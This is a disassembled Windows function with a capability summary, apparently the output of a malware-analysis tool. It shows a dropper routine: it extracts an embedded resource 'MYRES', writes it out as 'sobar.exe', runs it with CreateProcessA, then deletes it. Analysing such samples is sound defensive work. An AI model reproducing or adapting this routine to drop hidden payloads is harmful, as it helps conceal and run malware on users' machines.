Function at 0x403240
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x406029
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
mov al, byte [ecx + 0x14]
push ebx
push esi
lea esi, [ecx + 0x14]
push edi
push 0
lea ecx, [esp + 0x10]
mov byte [esp + 0x10], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov edx, dword [ecx]
lea ecx, [esp + 0xc]
push edx
push 0
push esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov edi, str._sobar.exe
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x78], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._sobar.exe
lea ecx, [esp + 0x14]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_char_const___unsigned_int_]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4032bb
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push 0x40a0f8
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4032f8
push 1
lea ecx, [esp + 0x10]
mov dword [esp + 0x7c], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret
push ebp
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 4]
push str.MYRES
push 0x8c
mov esi, dword [eax + 0x6c]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push 1
push eax
push ebp
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x44]
add esp, 0x14
rep stosd dword es:[edi], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x24], eax
pop ebp
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x403378
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2c]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4033bc
mov eax, dword [esp + 0x1c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4033c9
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x403406
mov al, byte [ecx - 1]
test al, al
je 0x4033fc
cmp al, 0xff
je 0x4033fc
dec al
pop edi
mov byte [ecx - 1], al
pop esi
mov al, 1
pop ebx
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x70]
pop edi
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x70
ret